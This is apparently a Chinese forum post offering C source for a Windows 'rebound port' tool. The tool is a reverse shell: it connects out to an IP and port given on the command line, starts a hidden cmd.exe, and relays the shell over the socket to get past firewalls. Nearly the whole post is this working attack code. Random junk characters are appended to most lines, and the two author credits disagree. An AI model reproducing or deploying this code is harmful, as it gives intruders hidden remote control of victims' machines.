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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 #2=30  
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/* ============================== AkC\CdmA  
Rebound port in Windows NT o LRio.u*  
By wind,2006/7 -fn~y1  
===============================*/ d|lzkY~  
#include Jy$-)  
#include $]86w8?-N  
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#pragma comment(lib,"wsock32.lib") sS|5x  
07&S^ X^/  
void OutputShell(); kY&j~R[C  
SOCKET sClient; 5j %jhby?  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; LdV_7)  
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void main(int argc,char **argv) nAOId90wue  
{ 6A<aelE*i  
WSADATA stWsaData; .v'8G)6g  
int nRet; B{<6 &bQ  
SOCKADDR_IN stSaiClient,stSaiServer; R lu;l  
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if(argc != 3) PT=%]o]  
{ ektFk"W3A\  
printf("Useage:\n\rRebound DestIP DestPort\n"); f.WtD`Oas  
return; 2t%)d9r32  
} 8cl!8gfv  
es{ 9[RHK  
WSAStartup(MAKEWORD(2,2),&stWsaData); ~V4|DN[I  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?IWS  
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stSaiClient.sin_family = AF_INET;  E2l.  
stSaiClient.sin_port = htons(0); Uz6B\-(0p  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); uM$=v]e^ 4  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) n=~?BxB  
{ n!2|;|$}Z  
printf("Bind Socket Failed!\n"); ! JN@4  
return; SJfsFi?n  
} mDhU wZH  
#HML=qK~  
stSaiServer.sin_family = AF_INET; G.;<?W  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); b /)UN*~  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); E[y?\{  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) mdwY48b  
{ )+J?(&6  
printf("Connect Error!"); QJ QQ-  
return; h6#  
} K% ;O$ >  
OutputShell(); GIp?}tM  
} cIH`,bR  
({)_[dJ'  
void OutputShell() 4o_1F).\D  
{  W* YfyM  
char szBuff[1024]; 6eb5q/  
SECURITY_ATTRIBUTES stSecurityAttributes; d 1z   
OSVERSIONINFO stOsversionInfo; UV=TU=A\o  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; oR~+s &c  
STARTUPINFO stStartupInfo; kG{(Qi  
char *szShell; d(&vIjy  
PROCESS_INFORMATION stProcessInformation; cWm.']  
unsigned long lBytesRead; 0GB6.Ggft  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 0-QkRr_ I  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ='s2S5#1  
stSecurityAttributes.lpSecurityDescriptor = 0; <ioX|.7ZX  
stSecurityAttributes.bInheritHandle = TRUE; 4;_.|!LN  
PRs[:we~~  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); X;-,3dy  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); a-7nA  
;$nK ^  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); r/PsFv{8  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p@P[pzxI  
stStartupInfo.wShowWindow = SW_HIDE; 1r@v \#P  
stStartupInfo.hStdInput = hReadPipe; vWow^g  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 1wwhTek  
A:N!H_x  
GetVersionEx(&stOsversionInfo); U9Y'eP.2  
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switch(stOsversionInfo.dwPlatformId) L/V3sSt  
{ {`-EX  
case 1: L&l> ?"_  
szShell = "command.com"; e7<~[>g)  
break; F|V?Z  
default: I(<1-3~  
szShell = "cmd.exe"; ctj.rC)6n  
break; guBOR 0x`  
} XfB;^y=u8  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); h4sEH  
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send(sClient,szMsg,77,0); wjpkh~ qo  
while(1) Ey)ox$  
{ F/mD05{  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 10*U2FY)]  
if(lBytesRead) G$ipWi  
{ iPxSVH[  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); A*W QdY  
send(sClient,szBuff,lBytesRead,0); AX[/S8|6  
} @Yy=HV  
else K&Zdk (l)  
{ I#9A\.pO  
lBytesRead=recv(sClient,szBuff,1024,0); t'~:me!  
if(lBytesRead<=0) break; BC&Et62*  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); %o.+B~r  
} _)lK.5  
} a ipvG  
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return; O=ci"2!\-  
}
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